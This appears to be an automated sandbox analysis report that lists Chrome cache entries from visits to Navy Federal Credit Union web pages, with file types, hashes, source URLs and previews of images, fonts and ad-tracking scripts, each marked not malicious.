Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE.................................t{{...................................................NRV... !$kqr...................................................._ch...u..X]`..........,.2...9<=...DIH......{..m}.~....jx.............D.IDATx....v.:....KrwwwO......S.{..r...(Y..d.[.....WYx...T....b.v.Y.?.......q............sm.@.ol.K.'..1.-.. .0....D<..%.....j...G..>......C.v0..08.]._p.....2.hV..........>....n...@..'.%B`).47....uZ..:j..{....K...~.^..M..l...S.....0..\.......-9H......Q....G,....'..G."..}.....l~H.._3..._-.z..G.....\..........[.].1._....vT.^.2C.......o.....+.A...Dj.z.....\|%..qQ?r]w...1_....k..o..1.....O.s4k..7...666..z....#..u...&...."O.I.e.~]....?i.D..x....J~E.?.....x/.H<....B.....$..06>..N...N.W.(..-.?.K......}.e..I%$..u.<k.A..q.E:.b.a....w..L{y)x........?o.j.v.(=$...^A`.....%>4xY...h....l......r. ...;.....2.[......p..Kpo...C...#.......I....b5..].>F.

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 320x214, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	6848
Entropy (8bit):	7.973518406701573
Encrypted:	false
SSDEEP:	192:L1bgJuls5KlKc3/IQim0qEPy20nJNmMsj:gCs5S/fFQK1Uj
MD5:	1B4B5E2C995887F2591C37B4093CD28C
SHA1:	87F305B4C3D66F0D7926B6FB7EF7847451DD47DD
SHA-256:	CDC7D0BA5D158ED5E6EA4EB28CEC3F54DC516CEA7999012C60686BCBAEEDFC2C
SHA-512:	DBDE50457C292C5367F348ADAAD1C7B52DC0EA8D9DE5F39680427466F30E11B88C1A6B8D9653C43BBA6CCE9ADB26E75D2F170ED83E8CFDE575082A42371C586E
Malicious:	false
Reputation:	low
Preview:	RIFF....WEBPVP8 .........@...>.D.K%...$s....cn10<q.'E.....]..h.3..e..p...><.g....<..................N..L..[..}@.~1......EU.Xx..0..!R...i.\|(.e.8.C.-+.=R.&]...BIs.X.0... ...$..4...kAcp.c..^.5.c.x.\G-...k5.r.z....}........._R....:...MB.]....nt....c.5}..:.(..!mf..KL,.3P.\|O>. ...$}B.c.....q...g....W(...QPd.oi...g...G.a..)..B .;...^F.R.w...}.....9#.)Y..'.yB...O.. ...>T.i0....$S;.(?&.....?.....r.gF..5..6...6>}7.8...........`4...O...;.Z~....i.S!..M"}.1h...._....x.o...Y...6.6.)l.)....#hp........a .'.e"=.;...L.I~.w..q....h+k.}~...`c..>cTd..g....^.H..UY.p.?...j...8..ge....t.x\|.a.......\|d.cU.Z.\|.!tx[.C........a...?.9..!.pD..7..X...{.$.p}.-_.....G..~~...F.r.i.....?.3..Q....l.45CQ...F.yOO'&..a......k...e+Fz.W......a.L......q....../....B.lu....T...xd!..n ....,q...2.....].Z.>Z...t..`9n.^P .i2....6.....e.............^4...;...!~."V.".>....Nd..qB.c..z).....C45..2Kt0T.Nz%.;.T........B^b{z.4&'....9..#t...W..i..(&....C5M.._.h....?.....a.jU/.~.V.. )C.:.

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5879
Entropy (8bit):	7.867496155672488
Encrypted:	false
SSDEEP:	96:V3yd7HDJX1EzIe81s3D36OF0NV1mof1D+jTZfuHpeDxhJOufgwkg:V3ABX18rT6OONV/fV+xuH0DxhM4
MD5:	81D08EB4386867FF34F2330023AA500F
SHA1:	CF8BA3099F05CE96A926E5080AF35B902A8224F8
SHA-256:	418F04D02C5EC943E8517B491BEC4382740B57E14BCE6DAEC9B978E7C85DDE4A
SHA-512:	B8A6547AB2CA81E403EE281DC64BE98827A6692AF9CFEE1F57ACDFB577DCE296AFBB234CFEC903E5EB8E0B4434782C59747B270C23A810A18FC6CD8DF3DAA9F9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs................fPLTE.........................................................n.....5q.J..'f.STU`..679_ch.Z.Cw#....7IDATx....w.8.....s'..93....J.......Ixz.-.S.>K.$K6S.p...'...%..n....'...<ix_..mUU.n...../...eR..\|1 )e&.m.............~lS..2Me...e.A..D..).....d?FVu.s`]G...1C.F...Q....u....5.....Y... j.!..#8.9J:..1..2..w.G....<. Q..u..P....O...............4.k...<....A.......4......B5.+...@....\|.~mE.....P.@......q.@+.OT@.......:.F....'..<..e...g.._.....]..P.l)9......Q..@.R%i.3.WV.^...<P.s..... ... R..:..h$......^...0....I........D....... Mw.].S...8:y`...\nST,@B.....^.....T....l.4.....`....D.P.&.N.C..O.*..E ..Bn.p....q}.?XA...tP....8...Q.F.....h..../.zH....4....$.H..../...=...4x..f.#....L.(....`.~\..2B..aU...7.;3g-..).~.B.+....Bdrr..L.......Q..Z..............XN..}.>..4.~p..&t...M@.?..+..P.n6.^/...f.....8....A..A ...?[+...@?/.......[.....l>?7./......G..'...GS........&0.(.G..@ytyr.....D\...n`....

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 17 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1129
Entropy (8bit):	6.378302073646057
Encrypted:	false
SSDEEP:	24:h1htZdWwjx82lY2T3vVN7FyJ3VKLVEqYGHTdwg0TzN:PqNn2DX4J3YBYmdWJ
MD5:	ACB70EA04F4C15ADE17B504DC2328973
SHA1:	2067FB77CDE4BD04B4981A5C32EEDDA2D810B69B
SHA-256:	D5B4BF730FD53C0F0D5E00BC55D74934524234641BB748F57D64C23F5A0C7C64
SHA-512:	33327F01008A0682C6A650E4284C488401F606DDA9B542B85E74DADC95AB3FC50535F9283C5D75B9CE1EB65316C373052F66EFC9EA5BC7A674651880F6CEF35A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............;mG.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh" xmpMM:InstanceID="xmp.iid:94D532D1C8C011E3A582FC2A37449B04" xmpMM:DocumentID="xmp.did:94D532D2C8C011E3A582FC2A37449B04"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:94D532CFC8C011E3A582FC2A37449B04" stRef:documentID="xmp.did:94D532D0C8C011E3A582FC2A37449B04"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.Srn....IDATx.b.0......Ldj6..]@...w.j.../...@.........%.......I..D.2...+.8..y.....q\|.p.q&.W....5.0..! .&@....gA..

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (928)
Category:	downloaded
Size (bytes):	1779
Entropy (8bit):	5.574888943748503
Encrypted:	false
SSDEEP:	24:hMiRO9wjK0WNVOocXqVDIcF+TRWZlhKEVYLsM/1hw3xuWcgWwWdFWRh9WqM4sKJH:NO2G0P/KIcuwhF2LrIcp5yIq5ney368
MD5:	159F19DD12DB209B0568691E54238B74
SHA1:	49379C55B7911AC3EF738EFF2C79546B3907A4F2
SHA-256:	9EFC1B3A54AC16B21EA6E5C88FF0CFF8C3CF6977F846FF6105CA97FDDA6B4429
SHA-512:	6FE5D1A145E049209BB3F6CA8EE38757C6359FE9466C1A7B68C0C4961267979E63A079F7553829C0744978651EC085E190ED3B6534009F6659E30EC73583C9BF
Malicious:	false
Reputation:	low
URL:	https://9749892.fls.doubleclick.net/activityi;dc_pre=CNvcm_yup4YDFUlzQQId92gD5Q;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html?
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><script async src="https://cdn.bttrack.com/js/15654/analytics/1.0/analytics.min.js"></script><script>(function(w,d,t,r,u){var f,n,i;w[u]=w[u]\|\|[],f=function(){var o={ti:"25148914", enableAutoSpaTracking: true};o.q=w[u],w[u]=new UET(o),w[u].push("pageLoad")},n=d.createElement(t),n.src=r,n.async=1,n.onload=n.onreadystatechange=function(){var s=this.readyState;s&&s!=="loaded"&&s!=="complete"\|\|(f(),n.onload=n.onreadystatechange=null)},i=d.getElementsByTagName(t)[0],i.parentNode.insertBefore(n,i)})(window,document,"script","//bat.bing.com/bat.js","uetq");</script><script async src='https://tag.simpli.fi/sifitag/601005f1-638d-45e3-9d29-e04168bb80b3'></script><script src="https://js.adsrvr.org/up_loader.1.1.0.js" type="text/javascript"></script>. <script type="text/javascript">. ttd_dom_ready( func

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://adservice.google.com/ddm/fls/z/dc_pre=CICW_fKup4YDFatfQQIdj2MHQA;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=*;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7702
Entropy (8bit):	7.931634494179433
Encrypted:	false
SSDEEP:	192:z5ed/13UoHKAQoVJwPngYtieyYWcQmlUc7B+dZx1KNn:z5Y/1EowngY3AEUc7odZx1W
MD5:	19E92471084856FAFD009CCCD69F978C
SHA1:	183B79B58AC60B4A85768B4CAF4064E9E68C11C1
SHA-256:	4E34630D641AC9EC465371367964CE1F2F85532837B891846062B46C9C6F7A0B
SHA-512:	8334988FCE6D27EECE27699D52742C5072F960AF928CC53AA33F2DF2F78EE920BE71B4FA93C371A30ED2EF7AAFF32EA2F753B8C495F4191AE004DFCE973FC1AF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE........................................................................_chv\|\|.......NRVkqr...rx......X]`..... !$>C.....8IDATx......<.........:.....-.....(..y.3(....$-.}3...]..,KU.wU..T[...Zd.#I...G.{.....b.....x.^.....y.\._+.F70>>...g../.KqZ..w....I..5....].8.....e.x[..../.8(..xN+..c..........m._...`......,. .......S...\.$^..?Q_......^.....e-GB.B.....K..A)}."...2......g .\|......^..e...B.....h.....J.:...~.q.......w.eu..sF.Zr.;U...W.1..O.Ai..W.....P..T...w....e......D{.".t5Vb.sL.X....D.?....aH......r.....y..eU.@...".$....P..gPc....x..4..[......\|TK..v.....x.........y...L....4.u6..zv...M....XyFb..W.....t.^.aM....a..L/S1O.D...b.g$4o`...........H..z.j...H.]'.. QNE}J.@..........J.1..t...c.3.a.U3.Y2...".[...u.........IZ..[.J..;..I....,4ZW.u...[..%..R>..T...\uYf./...4a.J.!).D.Rx{d..u...u.+.......0.y..hz...........5...U.[.A..{3.&v2.............~.:.b.Cc.4.^.l...a....

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	56
Entropy (8bit):	4.4834448240680045
Encrypted:	false
SSDEEP:	3:tVs2HrMPobbNPgiiY:ttH7bbNPhiY
MD5:	706BC69617D8A713026DB9C53D1FE199
SHA1:	7BB0593E4F1503F092FA382CC633C3ECED5073DE
SHA-256:	31175B24998E158F2656120B35BB521AFF0C3AE55664EDF2E399A15B7E116696
SHA-512:	229CB7F255A0362F5629F23A83A18D2CF10C7A672669A29955C5E340473F4B38EDE92E0E1AD6A80EE63A64E77C9A983FFBDDEF7A0243793128810244FD74217A
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwkHZePfMUO5NBIFDQiEZ_ESBQ3OQUx6EhAJqiIwMicRFtsSBQ2U1Fse?alt=proto
Preview:	ChwKDQ0IhGfxGgQIVhgCIAEKCw3OQUx6GgQISxgCCgkKBw2U1FseGgA=

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, 11 tables, 1st "OS/2", 14 names, Macintosh, type 1 string, nfcu-icons
Category:	downloaded
Size (bytes):	81972
Entropy (8bit):	6.042738087405204
Encrypted:	false
SSDEEP:	1536:qqLSlpkI3vE580OGsrMhnh7EuUyIKvORrLPlIw9B/9YMuL1m/BLOMJCiBZ5:qqLSlGIfE580OGsohnh7EuUyIKvO1Bj5
MD5:	794EA951872FC285FDFED47183AF90B4
SHA1:	3BA93BFC3B900C95132BE6DF78A3397A9753DF71
SHA-256:	28CC589ED8A25130802719844E3F971E28AD2F25772666C2F50764CA83EA2C78
SHA-512:	97E6A3FBA57EF06055EA5127020501DD6C48A415602030E82C3DEEB7EFF37D2A80F4F6E7D1504D4C70C96D3BD65F0D1DF129DF259BE2A0BC50E1AA3401B6DED7
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfculibs/clientlibs/uife/clientlib-uife-nfculibs-site/resources/fonts/nfcu-icons/nfcu-icons.ttf?vw3v7d
Preview:	...........0OS/2...L.......`cmap.H.........\gasp.......x....glyf..e.......8`head..~...9....6hhea...#..:....$hmtx..-...:<....loca...<..<....Zmaxp.2.I..>H... name......>h....post......@.... ...........................3...................................@.........@...@............... .................................@............. ............ ......................................................79..................79..................79...............(...!".....3!.#53547>.76;..#"...3.#.3265.4&#....5KK5..zz..8&&+qe.....5KK5..K5..5K.o.P.)(;.....S...K5..5K................K._.e.y..74&5....6'&'..'&'&..........54&#!"..>.3!.#..................!265.#.#5#5353.3.263..5467."#"&'.>.3.4&'.....'..#&....3!>.54&'....EQ....5 !#EP....5!!"..dG.VEd.,u>.eOr8;8-+.F.G6...3Gd.@..@.............7^#(^4.......K8.,.Cv$.]>......[....../.}Z-((;....y[-((=....5UGdaE'8D.uC8_#!(..E.2iM...dG....@......1.."..".....y.....F,9'...1(;N...................H.d.p...........'..'..'..#"..................................3267>.7>.7>.

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1822)
Category:	downloaded
Size (bytes):	204228
Entropy (8bit):	5.524570394933043
Encrypted:	false
SSDEEP:	3072:LJc0Iard8OdKMSba8HqCiqjysCBIQGmPa+dQWqzGmRmd4xKkRFN:lb8OdKM09r1zQ1PTdQWqzGaLP
MD5:	1644D14323F645E5EC0E3CDC844564A4
SHA1:	AC859A2550256C8DD59DA3F87DCABD0B492E9869
SHA-256:	6484943C6416A00A119B98992AFBD5E0C2B43885825C32CD6BDDAA06BE083BE7
SHA-512:	917717E3AC1AEA952BF217C98F953043DE47B5C32E2847C38AB24746F716022F41F76C61804C8863392DB6AABCFCEA71093531F8E4A7EEFFCDC0F03A7567B409
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=DC-9749892
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__cid"}],. "tags":[{"function":"__rep","once_per_event":true,"vtp_containerId":["macro",1],"tag_id":1}],. "predicates":[{"function":"_eq","arg0":["macro",0],"arg1":"gtm.js"}],. "rules":[[["if",0],["add",0]]].},."runtime":[ [50,"__cid",[46,"a"],[36,[17,[13,[41,"$0"],[3,"$0",["require","getContainerVersion"]],["$0"]],"containerId"]]]. ,[50,"__e",[46,"a"],[36,[13,[41,"$0"],[3,"$0",["require","internal.getEventData"]],["$0","event"]]]]. .].,"entities":{."__cid":{"2":true,"4":true,"3":true}.,."__e":{"2":true,"4":true}...}.,"blob":{"1":"1"}.,"permissions":{."__cid":{"read_container_data":{}}.,."__e":{"read_event_data":{"eventDataAccess":"specific","keyPatterns":["event"]}}...}....,"security_groups":{."google":[."__cid".,."__e"..]...}....};.....var ca,da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1162)
Category:	downloaded
Size (bytes):	20818
Entropy (8bit):	5.592463908396929
Encrypted:	false
SSDEEP:	384:XIgJV0fiJF+sLQld20p28JXHABsOEsoc1/1hUP88J1c7lVMF/fQpDUriKo36n:tJV6iJfwgvoc1/1hUP07jMxIpPKoqn
MD5:	A1F3145E1DC107AAD3B57974B8817B57
SHA1:	507EA38AA8AD7BBE3AB3FA7E4C85016E3DCA2960
SHA-256:	A463AA6666CE0ABCABF8033013CFE881FDBFB570389AFF471D400A45B3A496D4
SHA-512:	8ADDDA4A0F27DB8DCE9706E87C1C5716949EA8111E05A7CEE46E027252D0EEECAB2DCADD02CA505021DB7DFF7ADF88272027A4FE156DAA95A1D75F7CC73C2822
Malicious:	false
Reputation:	low
URL:	https://collector-11598.tvsquared.com/tv2track.js
Preview:	/!. Piwik - Web Analytics. . JavaScript tracking client. . @link http://piwik.org. * @source https://github.com/piwik/piwik/blob/master/js/piwik.js. * @license http://piwik.org/free-software/bsd/ Simplified BSD (also in js/LICENSE.txt). */.if(typeof JSON2!=="object"){JSON2={}}(function(){function d(f){return f<10?"0"+f:f}function l(n,m){var f=Object.prototype.toString.apply(n);if(f==="[object Date]"){return isFinite(n.valueOf())?n.getUTCFullYear()+"-"+d(n.getUTCMonth()+1)+"-"+d(n.getUTCDate())+"T"+d(n.getUTCHours())+":"+d(n.getUTCMinutes())+":"+d(n.getUTCSeconds())+"Z":null}if(f==="[object String]"\|\|f==="[object Number]"\|\|f==="[object Boolean]"){return n.valueOf()}if(f!=="[object Array]"&&typeof n.toJSON==="function"){return n.toJSON(m)}return n}var c=new RegExp("[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]","g"),e='\\\\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\uf

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F?
Preview:	<html></html>

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	12382
Entropy (8bit):	7.94162170056722
Encrypted:	false
SSDEEP:	192:PfJSGxCdFHA98xQXRQnFlpztb6CQWyCdOj3H8g+3UcQLEJR/vMEUAHDIctWH:3J3xQFg95el5tyY8jMg+3J2WMQjIc4H
MD5:	709D7EBB167D5A862708EBB3DC656BBA
SHA1:	B014B22E52835DC1C213B2D79FF81A80FE3FBE65
SHA-256:	D927B3A461775575FAF7ED1B6CC8A04DEE0C8ED47CC96B149530F0FD8820EF3F
SHA-512:	237F28749423E030245DEA39F386166CD0415398AEABF908466E45B6E0C5FE7C6E3F1955D4A1328FCD3F6F363C83D0215ABA6D6D897E7B4D9C5FD12E5522CEC7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE............v\|\|........... !$...NRV..................................kqr......agi..............X]`~........................................8:@,.2...............DGN......................n.._ch...Q..5q. `...Ds../ IDATx....C#I...L.....x...........I...r.Ww.(.z........\|.v.7<}.i.Uz.JkZw.T.O.oR..F...m...4..K......&....)....o.p.r.l.\......O..Z..U}6;Q~.......F.......M.'........j...X....P,.-.{D...o....^...z/=..^..#.O........l..L.O;.Y].M.r..._..^.i...=...[.....#.-'..j.#....>+.E..........$..nM_..~s...l.P.qyj........T.{.;O4..&K.i.\|. f......&...V...............,.VT{=...t...s=....J%..1.cg.\|...T...VUm.).xX(sq.,..I;lB..x..`m.@..... f.....X.5u..4A...^......F.....R..pT.3...5...V.v...^o$...z.3r.....f3.o...4....{x....s)q...i..i..r..G..<.w.l....1..WW...b..b.0...2A.b...,.^...{;.....x....YMy..Y.......{b.\........3...^.\|...lBd..........._....d........R.zR.r. ...0...{......&"..M.A{.....

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
SHA-512:	27524EAAD778B2C220D655BAE2AC4A6C4CF54112FAF9133E34A4C25C3CD2A8A04CB7CEC35A09F80D4F51DFC73B1F94C63BBC92171220FE83F6F0BDB204645485
Malicious:	false
Reputation:	low
URL:	https://collector-11598.tvsquared.com/tv2track.php?action_name=Contact%20Us%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=702009&h=18&m=46&s=40&url=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1190
Preview:	GIF89a.............!.......,...........(.;

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 320x286, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	7.966496001741579
Encrypted:	false
SSDEEP:	96:bx11xiHrp1AKfK8vMO8qiReq5Tvx03kPss2kA/YQfKN6LdGjivp9yHW9jPX:b1xerpC2KDdReq5T5J5gftLdHvp9Djf
MD5:	0F2E5E179957467674A41AC5359D0326
SHA1:	DC738ACE2562711AED975355E99479AB0A828277
SHA-256:	1609A6C10705BB9437448372D5492D66B1300F302DBF68B69385B75DE432834D
SHA-512:	8B7548EE52D42D1FF52E1DA2F4EEF64045C1A44EAE88EF47A76569569478CF8EE8482E2A005A15C74BD7DB23FFADF3A6DD9B972D4C5205B1031717EDA100AC67
Malicious:	false
Reputation:	low
Preview:	RIFF2...WEBPVP8 &....t...@...>.J.K.."........en.np....;PB.......p...G\......O.M.`.._.~.;...z......}.3...s..[..o.O.w......O.l.o._.;h./.9...t.{.O.~.. .......?..]...@.g.c..f....W.........._..`......ycxsyO.........?......O........:...[..k?..f.........r.,mM.G^....hp..b.....T.C....]^....W.vPJ...>\...H...S..G?..I.`.k..<W......]...y.E'........K&l\......D..k5.2....#..U-.q'......"..a.%..j-..Ej.<..;..x.~'....5...3..h..,mNB.)Q....Gx..~."Y.:..5....Z..=...Q%(...Z.P....5......\.(.Q\|.3.. .].q..".i..:Vw8......\!}...;.+...3ir'..QRI...h..].......b.L.\|q2...k..)6.....U..$%........8..@...9!.....5.k..G.E,mNOo.....)~.uW.J.B.8X...k...!..N)H...Z_3.y\|.c......Q.......FAw+...[.!.0../"..P.......a..T./.W6.5...=..nl,J;..HD...K..f.?pI.7.m0.=I..Y.J`.......j.-..`v.T>N...p)C.a..w.Sj..6..>.Nd......Hb..I...V..C..A:..vC.....B....3.q..O..,.Of.2..\K%+..kJ"$....:.B.8X......2}...k'..6..C...,..V..c.j..q...+.}.......DmNOo..?...'.....p..5.....7u(...v.z..Y..I........-..6k.....fMD8..

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	3.0241026136709444
Encrypted:	false
SSDEEP:	3:CUXPQEsJ+q:1QEsJ+q
MD5:	32023BB33CFB2A1990A4EF2D85B6AC16
SHA1:	23DCC6D4B5BFE00357FD0248BB5955B8E36BB8F1
SHA-256:	99C2917EE5B2A01459A923BDD1C676F15EE73B62B87F696E6735312D26F51E12
SHA-512:	D052ECEC2839340876EB57247CFC2E777DD7F2E868DC37CD3F3F740C8DEB94917A0C9F2A4FC8229987A0B91B04726DE2D1E9F6BCBE3F9BEF0E4B7E0D7F65EA12
Malicious:	false
Reputation:	low
URL:	https://odr.mookie1.com/t/v2?tagid=V2_393725&AMAZON_REGION_SPECIFIC_ENDPOINT=s.amazon-adsystem.com&src.visitorID=QuQQgT4bTdi8lt4D-bUJOw
Preview:	GIF89a.............!.......,...........L.;

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
Reputation:	low
